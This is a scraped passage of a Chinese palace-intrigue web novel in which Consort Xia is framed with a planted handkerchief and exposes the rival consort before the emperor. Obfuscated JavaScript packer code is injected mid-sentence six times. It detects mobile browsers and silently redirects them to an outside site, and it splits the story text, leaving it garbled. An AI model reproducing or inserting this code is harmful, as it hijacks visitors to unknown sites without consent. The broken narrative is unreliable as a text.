“每个人在每个阶段的选择都不一样,当时的我就算选择另外一种生活,也有过得好或者不好的可能。人总是会美化自己从没走过的那条路,所以我从来不去设想那些没有意义的事情。” 夏韶宁虽然没有准确地向江皓谦表明自己是否后悔,但是这话落到同样聪明的江皓谦耳朵里,等于已经很明确地回答自己了。 她不后悔,她从来不会允许自己做后悔的事情。 “我知道了。”话说到这里,江皓谦便已经什么都明白了。 他顿了好一会儿,最后还是对着一直背对着自己的夏韶宁深深地作了一揖,朗声道,“微臣唯愿贵妃娘娘与六皇子万事顺遂,幸福安康!” 这厢的两人正在说话,却并没有人注意到,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555806|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处的树丛里,有一个人正悄悄地借着树荫离开了…… *** 和江皓谦说了半晌的话,回到承乾宫以后,夏韶宁忽然觉得有些累。 其实回来的一路上,她的脑海里一直反反复复地回响着江皓谦问她的几个问题—— “你过得好吗?你后悔吗?” 这两个问题虽然说出口轻飘飘的,可是真的要心无旁骛地让她好好回答,夏韶宁却觉得她做不到。 眼见着夏韶宁一个人坐在椅子上发呆,惜春替夏韶宁倒了一杯茶递到了她的手里,脸上却显得有些欲言又止。 “这一路上你好像都有话想和我说,这会儿回了自己宫里了,有话就直说吧。” 看出了惜春面上的纠结,夏韶宁看了她一眼,便对着惜春直接开口道。 “娘娘和江夫子从前就认识的吧?”听得娘娘问,惜春便干脆开口了,“今日您在亭子里同江夫子说话,怕是许多人都看见了。虽然奴婢刚刚亲耳听见了二位并没有说什么逾矩的话,可是若是有有心人将这件事告诉圣上……” 说到这里,惜春便不敢出声了。 “若是我怕有人会传闲话,我就不会答应那江皓谦和他去凉亭叙旧。” 听得惜春担心的问题,夏韶宁却觉得不以为意。 “再说周围除了你还有那么多宫女内侍,我说了什么做了什么她们都看得清清楚楚,总不能睁着眼睛说瞎话吧?” 夏韶宁接过惜春递过来的茶水喝了一口,只是脑子却并没有停下思考。 她伸出手指在桌上敲了好几下,最终还是从椅子上站了起来。 “圣上让我陪昀儿去向夫子道歉,这会儿道完歉了,我得去向圣上复个命才是。” “这个时辰大朝会应该已经结束了,你去小厨房里挑几件精致可口的小点心,陪我去一趟紫宸殿吧。” “是。”惜春有些不确定娘娘这会儿去找圣上到底是要做什么,可是既然娘娘开口了,她还是点头照做了。 第252章 帕子 就在夏韶宁以为那日遇到江皓谦不过是个生活中的小插曲的时候,没过几天,萧云薇却忽然毫无征兆地来了承乾宫。 “贵妃娘娘!”萧云薇入了内殿,一把拉住了夏韶宁的手。 “嗯,云薇今日怎么有空进宫来看我?” 这会儿的夏韶宁刚刚用了早膳,正琢磨着去花园里画会儿画,就瞧见萧云薇朝着她走了过来。 而不知道是不是夏韶宁的错觉,她总觉得此时萧云薇的眉眼里,藏着一丝隐隐约约的焦急。 “惜春,带着宫女们都下去吧。” 没等萧云薇出声,夏韶宁自然而然地让惜春带着殿内伺候的人退出去了。 果然,无关的人一离开,萧云薇立马着急地开口了。 “娘娘看看,这可是您的东西?” 萧云薇一边说,一边从怀里掏出了一方绣着兰花的帕子,放在了夏韶宁的面前。 “嗯,这帕子前两天刚好我想用的时候就发现找不着了,我还寻思着可能被我自己不小心塞到哪里去了,如今……怎么会在你的手上?” 夏韶宁伸出手里拿起那方帕子看了看,再抬头面对萧云薇的时候,脸色就变了。 “这是你在宫外捡到的?还是……有人故意送到你面前的?” “不瞒娘娘说,这方帕子……,是崇文馆的江夫子连夜送到我的公主府的。” 萧云薇此话一出,夏韶宁彻底呆住了。 “他怎么会有我的帕子?”夏韶宁盯着那方帕子看了好一会儿,脑海中却在拼命思考这到底是怎么一回事儿。 “娘娘别着急,这件事情除了江夫子与我和相公以外,暂时没有其他人知道。” 眼见着夏韶宁肉眼可见地有些着急,萧云薇忙出口安慰她。 “那日晚上江夫子借着送书的理由来了我府上,而后才将这方帕子交给了我。他说他本都准备休息了,侍女正好来他的房内要将他的衣裳拿出去洗。他怕衣裳里头夹了什么要紧的东西,便仔细检查了一下。于是这方帕子就掉出来了。” “江夫子对我说他前几日刚刚见过一次娘娘,同您聊了几句天,没过几日就在他的身上发现了这方帕子。他便觉得不正常。这才让我拿着这方帕子进宫来询问一下娘娘这是否真的是您的帕子。” “他还说了什么?”听得萧云薇的话,夏韶宁的眉头便不自觉地皱了起来。 “江夫子想了很久,这才想起自己那一日从崇文馆下值的路上莫名被一个小宫女泼了一身水,而后那个宫女不由分说非要他将外袍脱下来,说要帮他烘衣裳。” “江夫子本能的想要拒绝,但是那小宫女动作很快直接抢了他的衣裳就跑了,过个半个时辰也不见人影。江夫子觉得奇怪,又返回了崇文馆,这才发现自己那件已经被烘干的外袍正放在讲桌上。” “他看清楚了那个宫女的脸没有?是承乾宫的宫女,还是其他宫的?”夏韶宁思考了好一会儿,便想到了这件事情的关键线索应该就在那个撞了江皓谦的宫女身上。 “江夫子那日下值本就已经很晚了,后来拿了外袍就着急回家了,他并没有看清那个宫女的脸。仔细想来,那方帕子应该就是那个宫女趁着帮江夫子烘衣裳的空档藏在他的外袍深处的。” 萧云薇当然也明白这个宫女对这件事情至关重要,但是很遗憾的是,因为当时江皓谦走得太急了,他还就真的没看清那个宫女的长相。 自然也就不知道这宫女到底是哪个宫里的人了。 “看来这宫里日日监视这本宫的人,还真不少啊。”听得这意料之中的回答,夏韶宁也并没有觉得很意外。她只是冷笑了一声,说话的语气也透着寒意。 “这个人的心思真的很缜密,她将娘娘的帕子藏在江夫子的身上,还故意藏得那么深,若不是刚好那日侍女要洗衣裳,江夫子自己怕是都发现不了。” “那帕子虽然藏在衣裳深处,但是衣裳日日穿脱必定会有摩擦,摩擦久了,帕子自然会从深处挪到衣裳的外侧。到时候她只要找个机会当着皇兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555807|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面让这方帕子从江夫子的身上掉出来,一定会引起皇兄的注意。” “刚好前段时间娘娘与江夫子曾闲聊过几句,很多宫女内侍都看到了。这会儿人证物证俱全,娘娘这是跳进黄河都洗不清了啊!” 此时萧云薇的脸色也显得十分的严肃,因为很明显她也看出来了,有人在利用江皓谦,陷害夏韶宁! “还真被你说对了,前几日昀儿下课回来就同我说了,五日后圣上要在紫宸殿考察皇子公主们的功课,江皓谦是孩子们的主夫子,他肯定是要随着皇子公主们一道去紫宸殿的。” “若是我没猜错,那个幕后的人选的下手的日子,就是那天了!” 两人坐在桌前分析了好半天,这件事情的脉络也就渐渐清晰了起来。 “娘娘预备怎么办?难不成真的就什么都不做?装作不知道吗?”萧云薇看了夏韶宁一眼,语气透露着不甘心,“那幕后的人用这样下作的手段想要陷害娘娘,娘娘就这样放过她吗?” “呵,放过她?本宫的字典里从来没有这几个字。”夏韶宁冷哼一声道,“这后宫太平了这么几年,怕是有些人的心思又活络起来了。不过没关系,她们很快就会知道,有平静的日子不过,非要到本宫面前来挑事,那就休怪本宫不让她们好好过日子了!” 顿了好一会儿,夏韶宁便提高音量对着门外喊了一句,“惜春,含秋,李顺,你们三人进来!” 三个入了殿内,夏韶宁便语气严厉地开口了。 “既然不确定那个宫女是哪个宫里的人,那就从我这承乾宫开始查!”夏韶宁对着三个摆了摆手道,“你们这几天不要声张,好好替我注意一下承乾宫里有哪些宫女有与平日不一样的举动。” “不管是出去见了什么以前从没接触过的人也好,添了什么以往不常用的东西也好,或者还有什么其他的异常,统统报到我这里来,我一个一个地筛选。” “凡事做过必会留下痕迹,我就不信我查不出来!” 第253章 良心被狗吃了 其实经过这么多年的筛选,夏韶宁的承乾宫已经很干净了。 但是所谓人都是会变的,随着时间的推移,总有些人的心思会变得和从前不一样。 也没过几天,含秋便将自己发现的情况告诉夏韶宁了。 “娘娘,咱们宫里有个三等宫女,叫桑叶的,最近的表现有些反常。”含秋快步走到夏韶宁的身边,压低声音对她道。 “怎么个反常法?”对于含秋的回话,夏韶宁倒是没有觉得很意外。 “那桑叶从前特别节省,每月的月例一发下来她都会藏在自己的枕头下面,一文钱都不舍得乱用。” “可是最近这段时间以来,承乾宫里有不少宫女都发现,这桑叶出手开始变得阔绰起来了。” 含秋仔细回想了一下这几日从其他宫女那里听来的闲话,一字一句地说给了夏韶宁听。 “那些平日里和桑叶一起做事的宫女们都说,桑叶最近身上多了好几件首饰。还有,往年过年她都不舍得给自己做一身新衣裳。而最近却足足做了两身。” “一个抠门的人忽然变得大方,除却她走了狗屎运在路上捡了钱,那就只有一个可能。” 说到这里,夏韶宁了然地笑了,“她得了一笔见不得人的……不义之财。” “那桑叶还有家人吗?或者在这宫里有没有什么关系好的人?”微微思考了一会儿,夏韶宁又对着含秋开口了。 “那桑叶很小的时候就入宫当宫女了,家里人好像都不在了。至于关系好的人……”说到这儿,含秋的脸色忽然变得讳莫如深起来。 “奴婢听说那桑叶有个相好的,是宫里一个守宫门的低等侍卫。听说两人已经偷偷摸摸好了好些年了,只不过因着桑叶如今在娘娘身边伺候,所以两人都不敢暴露这段见不得光的关系。” “得,又来一个云锦。”听得含秋这番话,夏韶宁的脑子里首先想到的就是早年在潜邸时唐贤妃身边的云锦。 “看来这背后的人不光拿钱收买了我身边的宫女,她连我身边的人与什么人有何种关系都摸得清清楚楚。这个人,不一般啊。” 夏韶宁摸了摸下巴,将后宫里的那些女人一个个都想了一遍,倒是也不好确认到底是谁有这么大的本事。 “叫桑叶即刻到殿内来,就说本宫要事情要同她说。”夏韶宁晃了晃有些晕的脑袋,转头对着含秋吩咐了一声。 “还有,让李顺去一趟宫门口,把那桑叶的相好也带到承乾宫来,本宫也有事同他说。” “是。”含秋应了,即刻去了。 …… 说实话,除了日常在自己身边伺候的惜春和含秋,还有经常帮着自己跑腿的李顺,夏韶宁对于承乾宫的其他宫人算不得十分熟悉。 如今看着眼前低着头站在自己面前的桑叶,夏韶宁只觉得面熟,对她再没了其他的了解。 “你知不知道本宫今日叫你到殿内是为了什么?”从上到下打量了桑叶一会儿,夏韶宁终于缓缓开口了。 “奴婢……奴婢不知道……”那桑叶低着头,说话的声音也很小,整个人看起来好像一只受了惊吓的兔子。 “你收人家的钱来陷害本宫的时候,怎么不说你不知道呢?”瞧着桑叶是不会同自己主动交代了,夏韶宁便也不想同她兜弯子了。 “你叫桑叶,今年二十一岁,是金州本地人。你有个相好的,叫宋金宝,比你大两岁。你们两人已经在私底下偷偷好了五年了,计划着等你二十五岁放出宫去就同他成亲。本宫说的这些,对是不对?” “昭贵妃娘娘息怒啊!这一切都不关金宝哥哥的事情,都是奴婢一个人做的,也是奴婢非要同他在一块儿的!他什么都不知道,求您不要处罚他!” 那桑叶一开始还尚能保持镇定,可是当夏韶宁吐出她那相好的名字的时候,她便肉眼可见地慌张起来。 “**吗?本宫瞧着他知道的可比你多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561261|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!”看着眼前的桑叶仍旧一味地还在维护那个男人,夏韶宁又一次体会到了古代的恋爱脑真的不比现代的少。 “李顺,把人带上来!”夏韶宁不顾此时桑叶的脸上有多震惊,她只是面无表情地对着门外喊了一声,不一会儿,李顺便带着一个穿着侍卫服的男子走了进来。 “金宝哥哥,你怎么在这儿?你受伤了吗?她们对你动刑了吗?”眼见着宋金宝被带进来,桑叶便急忙扑到了他的身边,死死抓着他的手问道。 只是让桑叶万万没有想到的是,自己刚刚才碰到宋金宝的手,却被他狠狠地甩开了。 “昭贵妃娘娘明鉴,下官早就同这女人没有任何关系了。是这女人一直不停地缠着下官,还收了范充容的银子想要陷害您与江夫子。” “下官劝了她好久让她别做这些丧良心的事情,可是她为了银子却根本不听下官的,下官没有办法,今日只好当着贵妃娘娘的面大义灭亲了!” 那宋金宝站得笔直,望向桑叶的眼神确实藏不住的嫌恶。 “你听到了,他说你收了范充容的银子来陷害本宫和江夫子。本宫再问你一次,有没有这回事儿?!” 这会儿的夏韶宁,说话的语气再没了刚才的平静。她死死盯着桑叶的眼睛,一秒钟也不肯看向别处。 “金宝哥哥,你怎么能背叛我?”此时的桑叶倒是顾不上眼前的夏韶宁那锐利的目光,她现在满心都是被自己爱人背叛的愤怒。 她红着眼睛走到宋金宝面前,大声对着他质问道,“当初范充容找到我问我愿不愿意帮她做这件事,那会儿的我明明还在犹豫,是你一直在旁边鼓动我去做的!” “你说这件事情只要成功了,咱们过几年成亲买房的钱都有了,便再也不用过担惊受怕的生活了!” “可是如今面对贵妃娘娘的质问,你为何却把自己撇得干干净净?你这个男人的良心,都被狗吃了吗?!” 第254章 考核日 “什么良心被狗吃了,我瞧你的良心才被狗吃了吧!昭贵妃娘娘是个多好的人,江夫子这些年在崇文馆也一直兢兢业业地教书。他们都是好人,你怎么能为了钱就陷害她们呢?” 这会儿的宋金宝,满口的仁义道德,此时若是有不知道内情的人听见他的话,定是会以为他是个多么正直善良的人。 只是很可惜,夏韶宁此人自带鉴定渣男和恋爱脑的本事。眼前这一对男女不过三言两语,她便已经明白了这件事情到底是怎么回事了。 左不过又是一对痴心女和负心汉的常见戏码罢了。 但是正因为有了这一出,夏韶宁才能更好地反将一军。 “你是不是很好奇自己这么多年来心心念念的男人为何会变成如今这般样子?” 看着面前已经哭得满脸是泪的桑叶,夏韶宁适时地开口了。 “奴婢不知道,但是凭着对这男人的了解,大概也能猜到一二。”桑叶断断续续地哭了好一会儿,好容易才止住了哭声。 “那你先说。”这番回答,倒是让夏韶宁有些意外。 “这男人好赌成性,这么些年奴婢赚的银子全拿去贴补他了。这一次收了范充容的钱,奴婢不过只留下了一些给自己买了些首饰做了几身新衣裳,这男人便不高兴了。” “他之所以会在贵妃娘娘面前反口背叛奴婢,只有一种可能,那就是贵妃娘娘许了他更多的好处!” 说到这里,桑叶便转过头来对着一旁的宋金宝嘲讽般的笑了。 “呵,你想把我供出来拖我下水,殊不知你同样也躲不过!宋金宝啊宋金宝,你真蠢啊,如今你便和我一块儿**吧!” 说到这里,桑叶便不由分说地朝着夏韶宁跪了下来。 “回贵妃娘娘的话,这一切的确是范充容拿钱收买了奴婢,让奴婢做的。” “范充容不知怎么知道奴婢与宋金宝有了首尾,便拿这件事情威胁奴婢。她让奴婢想办法偷一方您的帕子,找机会偷偷藏在江夫子的外袍里。” “她说若是奴婢答应她,就能得到两百两的银子。若是奴婢不同意,她就把我俩的事情抖落到圣上面前。” “宫女在娘娘们身边伺候的时候是不许与人私相授受的,奴婢害怕这件事情被发现了,奴婢与这男人都没法活命,又有这男人一直在奴婢耳边吹风,这才鬼使神差地答应了。” 这会儿的桑叶似乎已经抱着豁出去的决心了,一股脑地将自己知道的事情全都当着夏韶宁的面说了出来。 “你放心,本宫不会让你死的。”听完了桑叶的这番交代,夏韶宁这才缓缓开口了,“只要你配合本宫,事情结束以后本宫会做主提前让你出宫。只不过你不能再继续留在金州城了。” 桑叶没想到一番话说完,贵妃娘娘的回答居然是这样的,一时间倒是有些愣住了。 “贵妃娘娘!那下官呢?!您不会真的同这女人说的那样要了下官的命吧?” 听得夏韶宁承诺桑叶的话,一旁的宋金宝这才真的开始慌了起来。 “你这种背信弃义的渣男,要你的命都是轻的。”夏韶宁轻飘飘地瞥了她一眼,眼睛里全都是不屑。 “不知道宋侍卫知不知道永巷这个地方啊?本宫觉得,你这种男人,去永巷里当个内侍,最好!” *** 今日是萧祈安对皇子公主们的成绩考察日。 这一天圣上要对孩子们最近的学习成果进行一个年度考核,并且会特许孩子们的母妃以及九嫔以上的宫妃前去紫宸殿旁观。 六皇子今日又起了个大早,因为他是第一次参与考核,所以他倒是显得特别激动。 “考核要用的东西都准备好了吗?一会儿你同皇兄皇姐们先去紫宸殿,母妃要晚些再去哦。” 这会儿两母子洗漱完毕以后正坐在桌前开始用早膳,夏韶宁夹了一个鸡汁汤包放到六皇子的碟子里,语气关切地问道。 “母妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561262|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心,我都准备好啦!”六皇子将汤包一口吞了下去,随即胸有成竹地朝着夏韶宁拍了拍胸口。“儿臣今日肯定不给母妃丢脸!” “尽力就好,母妃从来都很相信你的。”夏韶宁一脸和蔼地摸了摸六皇子的头,想了好一会儿,还是对着他提醒了一句,“昀儿你记住,一会儿考核的时候不管出了什么事儿,你都不要害怕,都要相信母妃,明白了吗?” 六皇子看着夏韶宁与往常不同的神情,虽然不明白母妃为何好端端地这么说,但是从小就得到了母妃满满的爱的他从来不会质疑母妃对他的用心与爱。 “儿臣知道了。”吃完最后一个汤包,六皇子站起身来郑重其事地对着夏韶宁点了点头。 紫宸殿。 几个年龄不一的皇子公主们按照年纪站成了一排,宫妃们则是坐在了殿外的椅子上。 萧祈安端坐在书桌前的龙椅上,桌面上摆着孩子们最近的功课。 江皓谦正站在萧祈安的身旁,向他一份一份解释皇子公主们的功课。 “启禀陛下,大公主、二公主、大皇子、二皇子、三皇子最近的功课是以《天下大同》为题做一篇文章。四皇子、五皇子、六皇子年龄尚小,最近的功课便是《三字经》与《论语》的学习与默写。” 江皓谦将几个孩子的功课根据年龄一字排开,方便萧祈安查看。 萧祈安微不可闻地点了点头,随即先伸出手来先拿过了四皇子五皇子六皇子的默写,仔仔细细看了一遍以后,这才缓缓开始点评起来。 “四皇子与六皇子的字都写得不错,四皇子甚至在一些比较难的句子后面加了注释,这点很好。” 说到这里,萧祈安便抬起头来对着四皇子与六皇子投去了一丝赞赏的目光。 “可是五皇子这字儿……写得真的不怎么样。不仅不怎么样,而且朕通过这字能看得出,五皇子学习的时候心不静,所以这字儿才写得不好看。” 第255章 意料之内的意外 萧祈安这话说完,五皇子的脸色瞬间变得难看了起来。 “父皇,儿臣没有不静心,只是……”五皇子想了半天也没想出用什么理由来回萧祈安的话,于是只好沉默了。 里头发生的事情,坐在外侧的宫妃们都看得清清楚楚。萧祈安夸四皇子与六皇子,却骂了五皇子,夏韶宁和沈充媛在外头都听见了。 夏韶宁本人是没有什么反应的,毕竟她自己的孩子有多优秀她当然清楚,那可都是她花费许多心思亲自教导出来的。 可是另一边的沈充媛,此时脸色就很难看了。毕竟自己一对双胞胎儿子,一个被夸一个被骂,也不知道这会儿默不作声的她,心里到底是怎么想的。 萧祈安也没管五皇子说了什么,他顺手又将另外几个年纪大一些的皇子公主们的文章挨个看了一遍。 “这些文章,虽然写得不出错,但是也不出彩,总的来说并没有什么可圈可点的地方。” 看了好一会儿,萧祈安这才转头对着江皓谦不咸不淡地说了一句。 “陛下息怒,是微臣的不是。”其实江皓谦何尝不知道,这些个皇子公主里头,除了四皇子和六皇子看起来还比较有天分以外,其他的,半斤八两。 只是好歹都是圣上的孩子,一个个那可都是贵不可言的,他总不好把他心里想的这些话说得那么明显。 “你的能力朕是知道的,总而言之……因材施教吧!” 萧祈安将手中的文章放下,站起身来拍了拍江皓谦的肩膀。江皓谦急忙躬起身子对着萧祈安行了一礼,而就在这个时候,一方明显是女子用的帕子从他的外袍里掉了出来。 因为宫妃们其实与皇子公主们隔的距离并不远,江皓谦怀里掉出了一方帕子,殿内所有的人都看见了。 夏韶宁斜眼看了一眼坐在后头的范充容,果然,眼见着这方帕子掉出来,她立刻迫不及待地出声了。 “咦,江夫子身上怎么会有女子的帕子?莫不是江夫子有了心上人了?” 范充容这话也不是对着江皓谦说的,听起来倒是更像是在自言自语。可是她这话一出口,瞬间就引起来萧祈安的注意。 “朕记得你今年有三十了吧?这些年怎么一直都没有成家呢?如今瞧着……这是看上了哪家的姑娘了?” 萧祈安一边说,一边好奇地将江皓谦落在地上的那方帕子捡了起来。只是略略看了一眼,只觉得似乎……有些眼熟? “陛下玩笑了,微臣这些年一直醉心于皇子公主们的教育,哪里顾得上这些儿女情长的事儿。” 听得萧祈安这番半开玩笑半是认真的话,江皓谦只能尴尬地笑了笑。 “江夫子这话,似乎说得不太对吧?” 江皓谦这话刚说完,便见范充容直接走到了萧祈安的面前。 她先是对着萧祈安行了一礼,随即朗声道,“陛下不如看看您手里的帕子,难道不觉得很眼熟吗?” 萧祈安有些疑惑这里头怎么还有范充容的事情,但是听了她的话,他还是端详起手里的帕子来。这一看,还真看出问题了。 “朕记得昭贵妃最喜欢的花儿就是兰花,她的每一方帕子的帕角上都会绣一朵小小的兰花。这帕子……难不成是昭贵妃的?” 说到这里,萧祈安的脸色瞬间变得严肃起来。 “陛下好眼力呢!这江夫子同昭贵妃可是故交呢!”眼见着萧祈安似乎生气了,范充容便越发得意起来。 “臣妾偶然听闻江夫子从前在学堂念书的时候同昭贵妃关系特别好呢,两人可谓青梅竹马。如今又要江夫子身上发现了昭贵妃的贴身帕子,这件事儿,是不是太巧合了呢?” “呵,本宫竟然不知道,范充容什么时候对本宫的事情这么在意了?连本宫小时候在学堂念书时和谁同窗过你都弄得如此明白,本宫竟不知,你是何居心啊?!” 眼看着范充容在萧祈安面前越说越来劲,夏韶宁终于走到萧祈安面前,缓缓出声了。 她低下头来看了一眼萧祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566912|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安手里的帕子,随即忽然笑了起来。 “陛下明鉴,这不是臣妾的帕子。”语罢,她缓缓从腰间拿出一方帕子,递给了萧祈安。 “臣妾的确喜欢兰花,所以所有贴身的东西基本上都会绣一朵兰花当做标记。可是臣妾绣的兰花大多数都是三瓣的,而且臣妾习惯用的绣法是打籽绣。陛下瞧瞧江夫子的这方帕子上头的兰花却是五瓣的,而且这用的是最基础的平绣。” 似乎怕萧祈安不相信,夏韶宁顺手将自己套在外头的比甲翻了过来,那上头也绣了一朵兰花。 萧祈安有些怀疑地探过头去看了看,又对比了一下夏韶宁递给他的帕子和从江皓谦怀里掉出来的帕子,果然,绣法和花瓣完全不一样。 “至于范充容说的臣妾与江夫子什么青梅竹马,那更是无稽之谈。臣妾在那学堂统共不过上了三个月的学,是臣妾的两位兄长与江夫子同窗了好些年。而且……” 说到这里,夏韶宁忽然就朝着萧祈安跪了下来。 “那天臣妾送六皇子去崇文馆上课,回来的路上碰到了江夫子,于是随意同他聊了几句天。而后臣妾便来同陛下复命了,那个时候臣妾就将自己与江夫子从前的事情告诉陛下了,陛下并没有怪罪臣妾,不是吗?” 夏韶宁这番话说得有理有据,仔细听下来更是一丝毛病都挑不出来。 话说这头的江皓谦从那方帕子从自己怀里掉出来以后一直都没有说话,直到这会儿夏韶宁将整件事情说清楚以后,他忽然就朝着萧祈安跪了下来。 “陛下明鉴,微臣并不知道为何充容娘娘一口咬定这方帕子是昭贵妃的,其实这方帕子……是微臣已逝的母亲留给微臣的遗物。就因为这方帕子对微臣来说十分珍贵,所以微臣才日日带在身边。” 说及此处,江皓谦的眼眶便红了,说话的语气也变得哽咽起来。 任谁看到他,都不会将眼前这个思念亡母的脆弱男人和与后宫妃子偷情的浪荡子联系到一块儿。 第256章 清清白白 “朕明白了,你们两个都起来。” 等到夏韶宁和江皓谦将自己想说的话都说完,萧祈安只是微微思索了一番,就让两人起身了。 夏韶宁站起身来,抬眼看了看站在最末尾的六皇子。本以为只有四岁的小人儿会被眼前这些事情给吓到,可是出乎夏韶宁意外的,此时四皇子的脸上却挂着与他的年龄完全不相符的冷静。 对,夏韶宁居然在一个只有四岁的孩子脸上看到了冷静的神情。 她轻轻地松了一口气。 “陛下!您不能因为宠爱昭贵妃就帮着她隐瞒她做下的这些丑事啊!她与那江皓谦之间定有什么见不得人的事情!您不能就这么放过这两人啊!” 眼见着面前的萧祈安没有一点儿要处罚两人的意思,本来还站在一旁幸灾乐祸等着看夏韶宁笑话的范充容瞬间慌了起来。 “昭贵妃刚刚说的话句句属实,朕早就已经知道了她与江夫子自小就认识。这个世界上谁没个发小呢?难道范充容你就没有吗?难不成等到哪天你遇到了你儿时的玩伴,同他说了两句话,就要被人恶意揣测说你与他之间有**吗?” 萧祈安抬起头来冷冷地看着范充容一眼,满脸都写着不悦。 “臣妾问心无愧,自诩从没做过任何对不起陛下,对不起皇室的事情。倒是你范充容,从一开始江夫子的帕子从怀里掉出来,到现在你这般斩钉截铁地认定我与别的男人之间有见不得人的事情,你一直在陛下和后宫众姐妹面前上蹿下跳。本宫倒是不知道,你是何居心呐!” 夏韶宁冷冷地瞥了一眼满脸焦急的范充容,说话的语气却仍是不疾不徐。倒是与范充容这般急切地想要给人定罪的样子形成了鲜明的对比。 “贵妃娘娘您说什么呢?臣妾……臣妾不过是为了陛下不值,臣妾能有什么居心?” 听得夏韶宁这般反问,此时的范充容的面色也微微地变了,只是她却仍旧强撑着一张笑脸,装作什么都不知道的样子。 “陛下,既然范充容她不肯承认,那臣妾这里有人证也有物证,不如将证人传上来,听听她们是怎么说的吧?” 此时的夏韶宁根本不愿意和范充容继续掰扯,她直接就转头询问一旁的萧祈安。 这会儿的萧祈安的确还有些云里雾里,只是他的潜意识是不相信夏韶宁会做出背叛他的事情的。 他觉得她根本没有做这种事情的必要。 “传。”顿了好一会儿,萧祈安便开口吐出了一个字。 不大一会儿,早就被夏韶宁带到门口的荷叶与宋金宝就带了上来。 话说这宋金宝刚刚被李顺带去净身房转了一圈,虽然他身上的那二两肉还在,但是也已经被吓得说不出话来了。 这会儿见了萧祈安,还没等他开口问,他就立刻跪在地上对着萧祈安哆哆嗦嗦地开口了。 “陛下饶命!陛下饶命!下官说,下官什么都说!下官与那荷叶的确是在几年前就私相授受了,范充容用来收买荷叶陷害昭贵妃和江夫子的那笔钱下官也的确收了!求您不要将下官阉了送去永巷当内侍!下官还没成亲生孩子呢!” 宋金宝这话说得断断续续的,仔细听下来也有些前言不搭后语。只是这会儿的萧祈安,却是听明白了。 他瞥了那宋金宝一眼,又转过头来有些无奈地看了看夏韶宁,最后居然笑了。 “你倒是替朕把内侍府的事儿都干了。” “他不肯说实话,还想着诽谤其他人,臣妾这叫替陛下清理垃圾,肃清这后宫的风气!” 眼见着萧祈安对着自己笑,夏韶宁也毫不吝啬地回了他一个甜甜的笑容。 “陛下,这一切都是范充容买通奴婢做的!昭贵妃娘娘与江夫子之间清清白白,什么都没有!求陛下明鉴!” 与宋金宝那没出息的样子不同,荷叶此时只是端端正正地跪在萧祈安的面前,一句多余的废话都没有说。 “朕都明白了。”眼瞅着跪了一地的人,萧祈安心里什么都已经清楚了。 他转过身来看着如今已经面色苍白的范充容,眼里全都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566913|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解与愤怒。 